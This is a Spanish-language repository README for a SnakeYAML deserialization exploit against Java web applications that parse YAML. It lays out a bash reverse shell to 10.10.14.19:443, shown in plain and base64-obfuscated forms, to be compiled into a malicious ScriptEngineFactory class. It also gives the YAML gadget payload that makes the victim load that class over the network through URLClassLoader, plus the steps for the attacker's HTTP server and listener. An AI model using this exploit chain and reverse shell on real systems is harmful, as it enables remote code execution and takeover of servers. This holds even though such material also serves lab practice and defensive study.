/yaml-parser-payload

payload parser yaml javaweb

Primary LanguageJava

yaml-parser-payload

Editaremos nuestro archivo AwesomeScriptEngineFactory.java y añadiremos nuestra reverse_shell en bash pero codificado en base64.

bash -i >& /dev/tcp/10.10.14.19/443 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}

Lo codificaremos en esta pagina http://www.jackson-t.ca/runtime-exec-payloads.html

Lo compilamos :

necesitaremos jdk instalado ojo!!!!

javac AwesomeScriptEngineFactory.java

Nos generara el archivo 'AwesomeScriptEngineFactory.class'. y lo introduciremos en la carpeta h1dr0.

La estructura del Payload tiene que ser asi para que el servidor haga la peticion y encuetre el archivo.

 exploit /
  |-->      META-INF/services/javax.script.ScriptEngineFactory dentro de este archivo escribir esto -> h1dr0.AwesomeScriptEngineFactory/
  |-->      h1dr0/AwesomeScriptEngineFactory.class

Payload para ejecutar una reverse shell en un servidor yaml en java.

Esto lo pondremos en el servidor victima para que nos ejecute nuestro payload con nuestra r_shell.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://my_python_server/"]
  ]]
]

                                        !Nota!

Si quereis probar antes de poner el payload en el server de python ,lo probais sin nada y vereis las peticiones que hace el parser a nuestro server..

En nuestra terminal compartiremos un server con python para que se conecte nuestra victima hacia nosotros asi cargar el payload.

sudo python3 -m hhtp.server 80

------------------------------------------------------------------------------------

Al darle a parse en la web veremos en nuestro servidor que esta haciendo la peticion de los archivos y en otra shell tendremos el nc preparado

A tiny project for generating payloads for the SnakeYAML deserialization gadget (taken from https://github.com/mbechler/marshalsec):

thanks @marshalsec.